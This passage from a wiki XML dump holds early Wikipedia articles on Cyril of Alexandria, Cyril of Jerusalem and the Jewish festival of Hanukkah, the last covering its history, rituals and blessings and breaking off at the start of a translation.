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      <text xml:space="preserve">''See [[Saint Cyril (disambiguation)]] for other persons with this name.''
----

'''Cyril I''' ([[376]] &amp;ndash; [[June 27]], [[444]]), surnamed '''The Pillar of Faith''', was [[Patriarch of Alexandria|Pope of Alexandria]]. He is revered as a [[saint]] by the [[Catholicism|Roman Catholic Church]], the [[Oriental Orthodoxy|Oriental Orthodox Church]] and the [[Eastern Orthodox Church]]. In [[1883]] the [[Holy See]] declared him a [[Doctor of the Church]].


==Life and character==
His early life is known only from notices in [[Socrates Scholasticus]] and a few elsewhere.
He was a nephew of the archbishop [[Theophilus of Alexandria|Theophilus]], whom he accompanied in 403 to [[Constantinople]] to attend the synod ''Ad Quercum'' (see [[John Chrysostom]]).

When his uncle and predecessor Theophilus died on [[October 15]], [[412]], Cyril succeeded him in his see. The government was not pleased with this choice. It feared, not without reason, that the new bishop would show too much independence; and, indeed, on every occasion Cyril proved that he was master in Alexandria. He closed the churches of the [[Novatian]]s, expelled the [[Judaism|Jews]] from the city in spite of the opposition of the prefect Orestes, and when Nitrian monks insulted the prefect in the open street, he praised their leader as a [[martyr]]. 

He may not have ordered the murder of [[Hypatia of Alexandria|Hypatia]], but his lector and the ''parabalani'' were well aware that the female philosopher was an irritant to the archbishop. His restless, violent conduct, which excited the masses, seems to have hurt him at the court. However, Emperor [[Theodosius II]] as well as [[Pulcheria]] listened to him rather than to the prefect. 

For the rest of the archbishop's life, which is closely connected with the dogmatic controversies of the times, see [[Nestorianism]]. From the very beginning Cyril opposed [[Nestorius]], which led to him being called ''Doctor of the Incarnation''. It was the climax in his life when the emperor confirmed the deposition of his opponent which he had decreed at the [[Council of Ephesus]] in [[431]], whereas he retained his office, though the Syrian bishops had declared him also deposed. 

His administration shows the Alexandrian bishops at the height of their power and influence, from which they were thrown by the able but short-sighted [[Dioscorus of Alexandria|Dioscorus]] (see [[Eutyches]]; [[Monophysites]]). 

Among the [[Eastern Orthodox Church|Orthodox churches]], Cyril is commemorated on [[June 9]]; in the [[Roman Catholicism|Roman Catholic Church]], on [[January 28]]. Roman Pope [[Pope Leo XIII|Leo XIII]] named Cyril ''[[doctor ecclesiae]]'' in [[1883]].

==Literary activities==
In general Cyril's literary activity was in the dogmatic and exegetical field. In his homilies and epistles dogmatic subjects are often touched upon. As an apologist Cyril became famous by his refutation (''Against Julian'') of the attack of the emperor [[Julian the Apostate|Julian]] upon Christianity (''Against the Galileans''), in thirty books, of which only the first ten are extant entire, eleven to twenty in fragments. 

The dogmatico-polemical literary activity of the archbishop was very comprehensive. At the head stand the writings on the doctrine of the [[Trinity]] composed before the [[Christology|Christological]] controversy. The controversy itself caused a large number of treatises against Nestorianism. 

The results of the exegetical labor of the patriarch are contained in the seventeen books &quot;On Worship in Spirit and in Truth,&quot; in the thirteen books of &quot;Elegant Expositions&quot; on the Pentateuch, as well as in numerous commentaries on the [[Old Testament|Old]] and [[New Testament]]s. 

The typico-allegorical interpretation, characteristic of the Alexandrian school in opposition to the Antiochian school, is very prominent in Cyril's exegesis. The most important work in that direction is the comprehensive commentary on the [[Gospel of John]].

==Cyril's teachings==
Cyril not unjustly bears the title of &quot;Seal of the Fathers&quot;, as the one who finally fixed the  doctrine of the [[Trinity]]. As important as his contribution was to that subject, the question has often been raised whether his [[Christology]] does not contain traces of a relationship with [[Apollinarianism]], which he himself opposed from conviction.

At any rate, his Christology approaches very near the limit which separates orthodoxy from [[Monophysitism]]. It rests on the suppositions of the older Alexandrians (e.g., [[Athanasius of Alexandria|Athanasius]]) and the [[Cappadocian Fathers]] by which they knew themselves in agreement with Apollinaris against every theory that denied the substantial unity of the incarnate Redeemer with the second person of the Trinity. 

Looking at the personality of the Redeemer, the energetic assertion of the unity of the person resulted from it indeed, but also a reckless neglect of the individual man in him. The God-Logos remained, with the human nature which he has assumed, the same one inseparable subject which he was before. The &quot;physical union&quot; is &quot;not confounded&quot;, though both natures are to be distinguished &quot;in theory alone&quot;. 

The attacks to which this view was exposed on both sides Cyril could only meet by giving to the idea of &quot;nature&quot; a meaning which disregards everything individual. In this way alone does the assertion become explicable that before the incarnation two natures existed, the divine and the human, but after the incarnation only one, the definite divine-human nature, or, as Cyril expressed it in the words of the creed regarded by him as Athanasian, but in reality composed by the hated Apollinaris, &quot;one nature of God the Logos made flesh&quot;. The nature is here only thought of as &quot;common&quot;. Christ is no man like Paul and Peter; he is the author of a new humanity. 

Nevertheless, Cyril makes all dependent on the Redeemer's assuming the perfect human nature. But Cyril's assertions do not help over the contradiction that this Redeemer in spite of his &quot;rational soul&quot; had no free will, but was &quot;inflexible in mind&quot;. They are, indeed, not intended for that, because by his use of the idea of nature Cyril did not need to take exception to the &quot;perfect man&quot;, like Apollinaris. He could speak the easier in favor of a mutual communication of the properties of the divine and human nature in the Redeemer (''communicatio idiomatum''), and thus avoid the danger of a fusion at least for his belief.  

The &quot;in two natures&quot; of the Chalcedonian formula of [[451]] found no support in Cyril's Christology. But his Christology overcame that formula, for the Byzantine theologians who
had to interpret it did so by explaining the doctrine of the two natures according to Cyril's teaching of one nature (see [[Leontius of Byzantium]]; [[Monophysites]]).

==References==
* ''St. Cyril of Alexandria: The Christological Controversy'' (1994, and reprinted 2004) ISBN 0-88141-259-7 by [[John Anthony McGuckin]]

==External links==
* Cyril of Alexandria, [http://www.tertullian.org/fathers/index.htm#Five_tomes_against_Nestorius Five Tomes against Nestorius] - 1881 translation.
* Cyril of Alexandria, [http://www.tertullian.org/fathers/index.htm#Cyril_Scholia Scholia on the incarnation] - 1881 translation.
* Cyril of Alexandria, [http://www.tertullian.org/fathers/index.htm#Cyril_Commentary_on_the_Gospel_of_John Commentary on the gospel of John] - 1874-1885 translation.
* Cyril of Alexandria, [http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-67.htm 2nd Letter to Nestorius] - NPNF translation
* Cyril of Alexandria, [http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-70.htm 3rd Letter to Nestorius with the 12 anathemas]
* Cyril of Alexandria, [http://www.tertullian.org/fathers/index.htm#Cyril_Commentary_on_the_Gospel_of_John Commentary on John]

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before=[[Theophilus of Alexandria|Theophilus]]|
title=[[List of Patriarchs of Alexandria|Patriarch of Alexandria]]|
years=[[412]]—[[444]]|
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[[Category:Church Fathers]] [[Category:376 births]] [[Category:444 deaths]] [[Category:Coptic Saints]] [[Category:Saints]] [[Category:Patriarchs of Alexandria]] [[Category:Catholic philosophers]] [[Category:Medieval philosophers]] [[Category:Doctors of the Church]] [[Category:376 births|Cyril of Alexandria]] [[Category:444 deaths|Cyril of Alexandria]]

[[cs:Cyril Alexandrijský]]
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[[ru:Кирилл Александрийский]]
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      <text xml:space="preserve">:''See [[Saint Cyril (disambiguation)]] for other persons with this name.''

'''Cyril of Jerusalem''' was a distinguished theologian of the early Church ([[circa|ca]]. [[315]] - [[386]]). He is venerated as a [[saint]] by both the [[Catholicism|Roman Catholic Church]] and the [[Eastern Orthodox Church]].  In [[1883]] the [[Holy See]] declared him a [[Doctor of the Church]].

==Life and character==
Little is known of his life before he became bishop; the assignment of the year [[315]] for his birth rests on mere conjecture.  He seems to have been ordained deacon by Bishop [[Macarius of Jerusalem]] about [[335]], and priest some ten years later by Maximus. Naturally inclined to peace and conciliation, he took at first a rather moderate position, distinctly averse from [[Arianism]], but (like not a few of his undoubtedly orthodox contemporaries) by no means eager to accept the uncompromising term ''homooussios''. Separating from his metropolitan, [[Acacius of Caesarea]], a partisan of [[Arius]], Cyril took the side of the [[Eusebius of Caesarea|Eusebians]], the &quot;right wing&quot; of the post-Nicene conciliation party, and thus got into difficulties with his superior, which were increased by Acacius's jealousy of the importance assigned to Cyril's see by the [[First Council of Nicaea|Council of Nicaea]]. A council held under Acacius's influence in [[358]] deposed Cyril and forced him to retire to [[Tarsus]]. At that time he was officially charged with selling church property to help the poor, although the actual motivation appears to be that Cyril was teaching Nicene and not Arian doctrine in his catechism. On the other hand, the conciliatory [[Council of Seleucia]] in the following year, at which Cyril was present, deposed Acacias. In 360 the process was reversed through the metropolitan's court influence, and Cyril suffered another year's exile from Jerusalem, until [[Julian the Apostate]]'s accession allowed him to return. The Arian emperor [[Valens]] banished him once more in 367, after which he remained undisturbed until his death, his jurisdiction being expressly confirmed by the [[First Council of Constantinople]] ([[381]]), at which he was present. At that council, he voted for acceptance of the term ''homooussios'', having been finally convinced that there was no better alternative.

==Theological position==
Though his theology was at first somewhat indefinite in phraseology, he undoubtedly gave a thorough adhesion to the Nicene orthodoxy. Even if he does avoid the debatable term ''homooussios'', 
he expresses its sense in many passages, which exclude equally Patripassianism, Sabellianism, and
the Arian formula &quot;There was a time when the Son was not.&quot; In other points he takes the ordinary
ground of the Eastern Fathers, as in the emphasis he lays on the freedom of the will, the ''autexousion'',and his imperfect realization of the factor so much more strongly brought out in the West--sin. To him sin is the consequence of freedom, not a natural condition. The body is not the cause, but the instrument of sin. The remedy for it is repentance, on which he insists. Like many of the Eastern Fathers, he has an essentially moralistic conception of Christianity. His doctrine of the [[Resurrection of Christ|Resurrection]] is not quite so realistic as that of other Fathers; but his conception of the Church is decidedly empirical-- the existing catholic Church form is the true one, intended by Christ, the completion of the Church of the [[Old Testament]]. His doctrine on the [[Eucharist]] is noteworthy. If he sometimes seems to approach the symbolical view, at other times he comes very close to a strong realistic doctrine. The bread and wine are not mere elements, but the body and blood of Christ.

==Catechetical lectures==
His famous twenty-three catechetical lectures (Gk. ''Katecheseis''), which he delivered while still a [[presbyter]] in 347 or 348, contain instructions on the principal topics of Christian faith and practise, in rather a popular than a scientific manner, full of a warm pastoral love and care for the catechumens to whom they were delivered. Each lecture is based upon a text of Scripture, and there is an abundance of Scriptural quotation throughout. After a general introduction, eighteen
lectures follow for the ''competentes'', and the remaining five are addressed to the newly baptized, in preparation for the reception of the communion. Parallel with the exposition of the creed as it was then received in the church of Jerusalem are vigorous polemics against [[Paganism|pagan]], [[Jewish]], and [[Heresy|heretical]] errors. They are of great importance for the light which they throw on the method of instruction usual in that age, as well as upon the liturgical practises of the period, of which they give the fullest account extant.


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title=[[Orthodox Patriarch of Jerusalem|Bishop of Jerusalem]]|
years=[[350]]-[[386]]|
after=[[Bishop John II of Jerusalem|John II]]}}
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[[Category:315 births]] [[Category:386 deaths]] [[category:Church Fathers]] [[Category:Saints]] [[Category:Ancient Roman Christianity]] [[Category:Patriarchs of Jerusalem]] [[Category:Doctors of the Church]]

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    <title>Hanukkah</title>
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      <text xml:space="preserve">{{Infobox Holiday |
|image=Hannouccia.jpg
|caption=Hanukkah menorah on the eighth night of the festival.
|color1=#003EFA
|color2=#003EFA
|color3=#3399FF
|holiday_name=Hanukkah
|official_name=[[Hebrew language|Hebrew]]: '''חֲנֻכָּה''' or '''&amp;#1495;&amp;#1504;&amp;#1493;&amp;#1499;&amp;#1492;'''
|nickname=Translation: &quot;Renewal/Rededication&quot; (of the [[Beit Hamikdash]], the [[Temple in Jerusalem]]); Festival of Lights, Festival of Dedication
|observedby=[[Judaism]] and [[Jew]]s
|begins=25 [[Kislev]]
|ends=2 [[Tevet]] or 3 [[Tevet]]
|celebrations=Lighting a [[candle]] each night of in a special Hanukkah [[Menorah]] (a Chanukiah) near a [[window]] for [[eight]] [[night]]s.  Playing the ''[[dreidel]]'' (''sevivon'') game, eating foods fried in olive oil, such as [[latke|latkes]] (potato pankakes) and [[sufganiyot]] (jelly doughnuts).
|type=Religious
|significance=One of two rabbinical festivals. The [[Maccabee|Maccabees']] successful rebellion against [[Antiochus IV]]. The purification of the [[Temple in Jerusalem|Temple]]. The miracle of the eternal flame burning for eight days with only enough oil for one day.
|relatedto=[[Purim]], as a [[rabbi]]nically decreed holiday, and [[Kwanzaa]], which borrowed elements from Hanukkah
|date2006=[[December 26]] to [[January 2]], [[December 16]] to [[December 23]]
|date2007=[[December 5]] to [[December 12]]
|date2008=[[December 22]] to [[December 29]]
|date2009=[[December 12]] to [[December 19]]
|date2010=[[December 2]] to [[December 9]]
}}
{{infobox Halacha|verse=N/A|talmud=Shabbat 21b|rambam=''Zemanim'' (Times):''Chanukah u-Megillah'': 3-4|sa=[[Orach Chayim]] 670-684}}
'''Hanukkah''', also known as the '''Festival of Lights''' or '''Festival of Dedication''', is an eight day [[Jewish holiday]] that starts on the 25th day of [[Kislev]], which generally is in December, or sometimes, late November. The festival is observed in [[Jewish]] homes by the kindling of lights on each of the festival's eight nights, one on the first night, two on the second night and so on.

In [[Hebrew language|Hebrew script]], the word Hanukkah is written &amp;#1495;&amp;#1504;&amp;#1499;&amp;#1492;, {{IPA|&amp;#7717;&amp;#259;nukk&amp;#257;h}}, or &amp;#1495;&amp;#1504;&amp;#1493;&amp;#1499;&amp;#1492;, {{IPA|&amp;#7717;&amp;#259;n&amp;#363;kk&amp;#257;h}}.  It is most commonly transliterated to English as '''Hanukkah''' or '''Chanukah'''. Other variations are discussed below.

==Commemoration==
The word ''Hanukkah'' means &quot;dedication.&quot;  Spiritually, Hanukkah commemorates the Miracle of the Oil.  At the re-dedication of the [[Temple in Jerusalem]] following the victory of the [[Maccabees]] over the [[Seleucid Empire]], there was only enough consecrated [[olive oil]] to fuel the eternal flame in the Temple for one day.  Miraculously, the oil burned for eight days - which was the length of time it took to press, prepare and consecrate new oil.

Historically, Hanukkah commemorates two events:

*The triumph of [[Judaism]]'s spiritual values as embodied in its [[Torah]] (symbolized by the [[Menorah]], since the Torah is compared to [[light]]) over [[Hellenistic civilization]] (considered darkness) which under [[Antiochus IV]], had attempted to [[cultural assimilation|culturally assimilate]] the Jews away from practicing Judaism's [[613 mitzvot|commandments]], by forcefully installing Greek religious symbols in the [[Second Temple]].
*The victory of the Jews over the armies of [[Antiochus IV]]. The rebellion was begun by [[Mattathias|Mattathias Maccabee]] and continued by [[Judah Maccabee]] and his other sons. They defeated overwhelming forces, and re-dedicated the Second Temple. 

The spiritual side of Judaism shies away from commemorating military victories, the [[Hasmonean]]s later became corrupt, and civil war between Jews is considered deplorable, so Hanukkah does not formally commemorate either of these historical events. Instead, the festival commemorates the Miracle of the Oil and the positive spiritual aspects about the Temple's re-dedication. In doing so, the oil becomes metaphor for the miraculous survival of the Jewish people through millennia of trials and tribulations.

== Historical sources ==
=== In the Talmud ===
The [[miracle]] of Hanukkah is described in the [[Talmud]]. The [[Gemara]], in tractate ''Shabbat 21b'' {{ref|shabbat21b}}, says that after the occupiers had been driven from the Temple, the [[Maccabees]] discovered that almost all of the ritual [[olive oil]] had been profaned. They found only a single container that was still [[seal (device)|seal]]ed by the High Priest, with enough oil to keep the [[Menorah]] in the Temple lit for a single day. They used this, and miraculously, that oil burned for eight days (the time it took to have new oil pressed and made ready).  

The Talmud presents three customs: 

#Lighting one light each night per household, 
#One light each night for each member of the household, or, 
#The most pious method, where the number of candles changed each night.

There was a dispute over how the last option was to be performed: either display eight lamps on the first night of the festival, and reduce the number on each successive night; or begin with one lamp the first night, increasing the number till the eighth night. The followers of [[Shammai]] favored the former custom; the followers of [[Hillel the Elder|Hillel]] advocated the latter. As is the case in most such disputes, Jews today follow Hillel. Except in times of danger, the lights were to be placed outside one's door or in the window closest to the street. 

[[Josephus]] believed that the lights were symbolic of the liberty obtained by the Jews on the day that Hanukkah commemorates. [[Rashi]], in a note to ''Shabbat 21b,'' says their purpose is to publicize the miracle. Hanukkah is also mentioned in the (older) [[Mishnah]] (TB [[The Five Scrolls#In the Mishnah|Megillah]] 30b).

=== In the Septuagint ===
The story of Hanukkah is preserved in the books of [[1 Maccabees]] and [[2 Maccabees]]. A story similar in character, and obviously older in date, is the one alluded to in 2 Maccabees 1:18 ''et seq.'', according to which the relighting of the altar-fire by [[Nehemiah(biblical)|Nehemiah]] was due to a miracle which occurred on the twenty-fifth of Kislev, and which appears to be given as the reason for the selection of the same date for the rededication of the altar by Judah Maccabeus.

The Books of Maccabbes (''Sifrei HaMakaviyim'') are not part of the [[Tanakh]] ([[Hebrew Bible]]), but are part of [[deuterocanonical books|deuterocanonical]] historical and religious material preserved in the [[Septuagint]]. The [[Tanakh]] ends with the consequences following the events of [[Purim]], and had already been codified many centuries earlier by the [[Great Assembly|Men of the Great Assembly]] (''Anshei Knesset HaGedolah''). 

Another source is the [[Megillat Antiokhos]] &amp;mdash; a text ascribed to the Maccabees themselves by [[Saadia Gaon]], but according to some scholars, perhaps written around the [[1st century|first]] or [[2nd century|second]] century CE. Indeed, Saadia Gaon's theory is highly unlikeley, as Megillat Antiokhos gives the timeframe for the story in relation to the destruction of the second Temple, which occurred over 200 years later, and could not possibly have been known to the Maccabees.

== The story ==
{{main|Hasmonean}}

Around [[200 BCE]] Jews lived as an autonomous people in the [[land of Israel]], also referred to as [[Judea]], which at that time was controlled by the [[Seleucid Empire|Seleucid]] [[Seleucid dynasty|king of Syria]]. The Jewish people paid taxes to Syria and accepted its legal authority, and by and large were free to follow their own faith, maintain their own jobs, and engage in trade. 

By [[175 BCE]] [[Antiochus IV Epiphanes]] ascended to the Seleucid throne. At first little changed, but under his reign Jews were gradually forced to violate the [[613 mitzvot|precepts of their faith]]. Jews rebelled at having to do this. Under the reign of Antiochus IV, the Temple in [[Jerusalem]] was looted, Jews were massacred, and [[Judaism]] was effectively outlawed.

In [[167 BCE]] Antiochus ordered an altar to [[Zeus]] erected in the Temple. Mattathias, a [[Kohen|Jewish priest]], and his five sons John, Simon, Eleazar, Jonathan, and Judah led a rebellion against Antiochus. Judah became known as Judah Maccabee (&quot;Judah the Hammer&quot;). By [[166 BCE]] Mattathias had died, and Judah took his place as leader. By [[165 BCE]] the Jewish revolt against the Seleucid monarchy was successful. The Temple was liberated and rededicated. 

The festival of Hanukkah was instituted by [[Judah Maccabee]] and his brothers to celebrate this event. ([http://www.hope.edu/academic/religion/bandstra/BIBLE/1MA/1MA4.HTM#59 1 Macc. iv. 59]).  After having recovered [[Jerusalem]] and the Temple, Judah ordered the Temple to be cleansed, a new altar to be built in place of the polluted one and new holy vessels to be made. According to the [[Talmud]], oil was needed for the menorah in the Temple, which was supposed to burn throughout the night every night.  But there was only enough oil to burn for one day, yet miraculously, it burned for eight days, the time needed to prepare a fresh supply of oil for the menorah.  An eight day festival was declared to commemorate this miracle.

[[Image:Hanukkah2.jpg|thumb|right|200px|Hanukkah lamp unearthed near [[Jerusalem]], c. 1900.]]
Other versions of the story state that an eight day celebration of songs and sacrifices was proclaimed upon rededication of the altar, but do not mention the miracle of the oil.  ([http://www.hope.edu/academic/religion/bandstra/BIBLE/1MA/1MA4.HTM#36 1 Macc. iv. 36]).  A number of historians believe that the reason for the eight day celebration was that the first Hanukkah was in effect a belated celebration of the festival of [[Sukkot]], the Feast of Tabernacles ([http://www.hope.edu/academic/religion/bandstra/BIBLE/2MA/2MA10.HTM#6 Macc. x. 6] and [http://www.hope.edu/academic/religion/bandstra/BIBLE/2MA/2MA1.HTM#9 i. 9]). During the war the Jews were not able to celebrate Sukkot properly. The theory is based on the belief that Sukkot also lasts for eight days, and was a holiday in which the lighting of lamps played a prominent part during the Second Temple period (Suk.v. 2-4). However, Sukkot is in fact a seven-day holiday, the eighth day being a separate festival known as [[Sukkot#Shemini Atzeret and Simchat Torah|Shemini Atzeret]] (&quot;the Eighth Day of the Assembly&quot;); see Lev. 23:33-36, Num. 29:12; Deut. 16:13-15). 
The historian [[Josephus]] ([http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=J.+AJ+12.287]
''Jewish Antiquities'' xii. 7, § 7, #323) mentions the eight-day festival and its customs, but does not tell us the origin of the eight day lighting custom. Given that his audience was Hellenized Romans, his silence on the origin of the eight-day custom is more likely due to its miraculous nature than to it being inspired by Sukkot. In any event, he does report that lights were kindled in the household and the popular name of the festival was, therefore the &quot;Festival of Lights&quot; (&quot;And from that time to this we celebrate this festival, and call it Lights&quot;).

It has been noted that Jewish festivals are connected to the harvesting of the Biblical seven fruits which Israel was famed for. [[Pesach]] is a celebration of the barley harvest, [[Shavuot]] of the wheat, [[Sukkot]] of the figs, dates, pomegranates and grapes, and Hanukkah of the [[olive]]s. The olive harvest is in November and [[olive oil]] would be ready in time for Hanukkah in December.

It has also been noted that the number eight has special significance in Jewish theology, as representing transcendence and the Jewish People's special role in human history. Seven is the number of days of creation, that is, of completion of the material cosmos. Eight, being one step beyond seven, represents the Infinite (as an eight turned on its side). Hence, the Eighth Day of the Assembly festival, mentioned above, is according to Jewish Law a festival for Jews only (unlike Sukkoth, when all peoples were welcome in Jerusalem). Similarly, the rite of circumcision, which brings a Jewish male into God's Covenant, is performed on the eighth day. Hence, Hanukkah's eight days (in celebration of monotheistic morality's victory over Hellenistic humanism) have great symbolic importance for practicing Jews.

==Hanukkah rituals==
:''(see also '''[[Chanukkiyah]]''')''

[[Image:Hanukkah1.jpg|thumb|right|300px|Various [[menorah|menorot]] used for Hanukkah, also called Hanukiot (sing. Hanukiah).]]

Hanukkah has relatively simple religious rituals that are performed during the eight nights and days of the holiday. Some aspects are practiced at home by the family, other aspects are communal. There are additions to the regular daily prayer services in the [[Siddur]], the Jewish prayer book.   Jewish law does not require one to refrain from activities on Hanukkah that would fit the Jewish definition of &quot;work.&quot;  So, children do not get out of going to school to celebrate the holiday, and parents do not get a week's vacation from employment, either.

===Kindling the Hanukkah Lights===
The primary ritual, according to [[Halakha|Jewish law and custom]], is to light a single light each night for eight nights. As a universally-practiced &quot;beautification&quot; of the [[mitzvah]], an additional candle is added each night, for a total of thirty-six over the course of eight nights. 

The lights can be candles or oil lamps. Electric lights are sometimes used and are acceptable in places where open flame is not permitted, such as a hospital room.  When a formal [[candelabra]] or [[menorah]] is used, it is the special secular menorah used for Hanukkah - which holds eight candles, plus the servant candle.  (A religious menorah holds only ''seven'' candles, plus the servant candle).  [[Ashkenazi|Ashenazic Jews]] (central and east European Jews) usually call the eight-candled version a &quot;Hanukkah [[menorah]].&quot;  Some [[Sephardi|Sephardic Jews]] (west European, Mediterranean and Latin American Jews) just call it &quot;a hanukkah&quot;.  In the [[State of Israel]], the secular menorah used for Hanukkah is usually called a &quot;hanukiah&quot;.

[[Image:Tiffany_glasswork_Hanukkah_menora02.jpg|thumb|left|280px|A modern [[Lead came and copper foil glasswork|&quot;Tiffany&quot;]] Hanukkah menora]]
An extra light is lit each night and placed near the Hanukah lights. The purpose of this is to adhere to the prohibition of using the Hanukkah lights for anything other than publicizing - and meditating on - the Hanukkah story (in contrast to [[Sabbath]] candles which are meant to be used for illumination). Hence, if one were to need extra illumination, the extra &quot;servant&quot; candle would be available and one would avoid using the prohibited lights, as derived from the [[Talmud]] (Tracate Shabbat 21b-23a). Some use the &quot;guard&quot; candle to light the others. 

The reason for the lights is not for the &quot;lighting of the house within&quot;, but rather for the &quot;illumination of the house without&quot;, so that passers-by should see it and be reminded of the holiday's miracle. Accordingly lamps are set up at a prominent window or near the door leading to the street. It is customary amongst some [[Ashkenazi]]m to have a separate menorah for each family member (customs vary), whereas most [[Sephardi]]m light one ''hanukkah'' for the whole household. Only when there was danger of [[Anti-Semitism|anti-semitic persecution]] were lamps supposed to be hidden from public view, as was the case in [[Iran|Persia]] under the rule of the fire-worshipers, or in parts of Europe before and during World War II. However, some groups, e.g. [[Chabad-Lubavitch]], light lamps near an inside doorway, not in public view.
&lt;br clear=left&gt;

===When to light the lights===
Hanukkah lights should burn for at least one half hour after it gets dark. The standard candles sold for Hanukkah burn for half an hour, so on most days this requirement can be met by lighting the candles when it is dark out. Friday night presents a problem, however. Candles must be lit before the start of [[Shabbat]] and inexpensive Hanukkah candles do not burn long enough to meet the requirement.  A simple solution is to use &quot;tea lights&quot; or Shabbat candles, arranging them in a straight line and setting the shammus candle apart and above the rest.

=== Blessings over the candles ===
[[Image:Hanukkah menorah stamp 1999.jpg|thumb|right||[[United States Postal Service|US]] [[Postage stamp|stamp]] honoring Hanukkah and showing a [[Menorah]] with colored candles]]
Typically three blessings (''Berakhot'' singular ''Berakhah'') are recited during this eight-day festival. On the first night of Hanukkah, Jews recite all three blessings, on all subsequent nights, they recite only the first two. The blessings are said before or after the candles are lit depending on tradition. On the first night of Hanukkah one light (candle, lamp, or electric) is lit on the right side of the [[Menorah]], on the following night a second light is placed to the left of the first and is lit first proceeding from left to right, and so on each night.

====The first blessing====
Recited all eight nights just prior to lighting the candles:

:''Baruch atah Adonai, Eloheinu melech ha-olam, asher kid'shanu b'mitzvotav v'tzivanu l'hadlik neir (shel) chanukah.''

Translation: &quot;Praised are You, Lord our God, King of the Universe, Who sanctified us with His commandments and commanded us to kindle the Hanukkah lights.&quot;

====The second blessing====
Recited all eight nights just prior to lighting the candles:

:''Baruch atah Adonai, Eloheinu melech ha-olam, she-asah nisim la-avoteinu, bayamim haheim, (u)baz'man hazeh. ''

Translation: &quot;Praised are You, Lord our God, King of the universe, Who performed wondrous deeds for our ancestors, in those days, at this season.&quot;

====The third blessing====
Recited only on the first night just prior to lighting the candles: 

:''Baruch atah Adonai, Eloheinu melech ha-olam, shehecheyanu, v'kiyemanu, vehigi-anu laz'man hazeh. ''

Translation: &quot;Praised are You, Lord our God, King of the universe, Who has kept us in life, sustained us, and enabled us to reach this season.&quot;

====After kindling the lights====
When the lights are kindled the ''Hanerot Halalu'' prayer is subsequently recited:

([[Ashkenazi|Ashkenazic]] version):

:''Hanneirot hallalu anachnu madlikin 'al hannissim ve'al hanniflaot 'al hatteshu'ot ve'al hammilchamot she'asita laavoteinu bayyamim haheim, (u)bazzeman hazeh 'al yedei kohanekha hakkedoshim. Vekhol-shemonat yemei Hanukkah hanneirot hallalu kodesh heim, ve-ein lanu reshut lehishtammesh baheim ella lir'otam bilvad kedei lehodot ul'halleil leshimcha haggadol 'al nissekha ve'al nifleotekha ve'al yeshu'otekha.''

Translation: &quot;We light these lights For the [[miracle]]s and the wonders, for the redemption and the battles that you made for our forefathers, in those days at this season, through your [[Kohen|holy priests]]. During all eight days of Hanukkah these lights are sacred, and we are not permitted to make them serve except for to look at them in order to express thanks and praise to Your great Name for your miracles, Your wonders and Your salvations.&quot;

====Singing of ''Maoz Tzur'' after lighting====
Each night immediately after the lighting of the candles, while remaining within eyeshot of the candles, [[Ashkenazi]]m (and, in recent decades, some [[Sephardi]]m and [[Mizrahi]]m in Western countries, then usually sing the following hymn written in Medieval [[Ashkenaz]] ([[Germany]]). It lists a number of events of persecution in [[Jewish history]], and praises God for survival despite these tragedies.

:''Ma-oz Tzur Yeshu-ati, lecha na-eh leshabei-ah. Tikon beit tefilati vesham todah nezabei-ah. Le-et tachin matbe-ach mitzar hamnabei-ah. Az egmor beshir mizmor chanukat hamizbei-ah.''

:''Ra-ot sav'ah nafshi, b'yagon kochi kilah. Chayai meir'ru b'koshi, b'shibe-ud malchut eglah. Uv'yado hag'dolah hotzi et has'gulah. Cheil Par'oh vechol zaroh yardu ke-even bim'tzulah.''

:''D'vir kodsho hevi-ani vegam sham lo shakateti. Uva noges v'higlani ki zarim avad'ti. V'yein ra-al masachti kimat she-avarti. Keitz Bavel Zerubavel l'keitz shivim noshati.''

:''Kerot komat b'rosh bikesh Agagi ben Hamdatah. V'nih'yata lo lefach ul'mokesh vegavato nishbata. Rosh y'mini niseita ve-oyev shemo machita. Rov banav v'kinyanav al ha-etz talita.''

:''Y'vanim nikbetzu alai azai bimei Chashmanim. Ufartzu chomot migdalai vetimu kol hashmanim. Uminotar kankanim na-aseh nes lashoshanim. B'nei vinah yemei sh'monah kavu shir urna-anim.''

:''Chasof z'roa kodshecha v'karev keitz hayeshu-a. Nekom nikmat dam avadecha me-uma haresha-a. Ki archa lanu hasha-a ve-ein keitz limei hara-ah. Dechei admon b'tzeil tzalmon hakeim lanu ro'im shiv'ah.''

Many Jews sing only the first verse, repeating the lines to form the Hanukkah melody. It is also common to sing just the first and fifth verses, the fifth dealing specifically with Hanukkah.

=== Additions to the daily prayers ===
An addition is made to the &quot;hoda'ah&quot; (thanksgiving) benediction in the [[Amidah]], called ''Al ha-Nissim'' (&quot;On/about the Miracles&quot;). This addition refers to the victory achieved over the Syrians by the Hasmonean Mattathias and his sons. (The erroneous designation of Mattathias as son of Johanan the high priest seems to rest upon the late Hebrew apocryphal &quot;[[Megillat Antiokhos]]&quot; or &quot;Megillat Hanukkah,&quot; which has other names and dates strangely mixed.) The liturgical part inserted reads as follows:

Transliteration: 

:''Al hanisim v'al hapurkan v'al hag'vurot v'al hat'shuot, v'al hamilchamot she-asita la-avoteinu bayamim haheim bazman hazeh. Bimei Matityahu ben Yochanan kohein gadol chashmonai u-vanav, k'she-amda malchut yavan har'sha-a al amcha Yisrael l'hashkicham toratecha ul'ha-aviram meichukei r'tzonecha. V'ata b'rachamecha harabim amadta lahem b'eit tzaratam, ravta et rivam, danta et dinam, nakamta et nikmatam, masarta giborim b'yad chalashim v'rabim b'yad chalashim v'rabim b'yad m'atim, ut'mei-im b'yad t'horim, ursha-im b'yad tzadikim v'zeidim b'yad os'kei toratecha. Ul-cha asita t'shu-a g'dola ufurkan k'hayom hazeh. V'achar kein ba-u vanecha lidvir beitecha ufinu et heichalecha v'tiharu et mikdsashecha v'hidliku neirot b'chatzrot kodsecha v'kav'u sh'monat y'mei Chanuka eilu l'hodot ul'haleil l'shimcha hagadol.''

Translation:

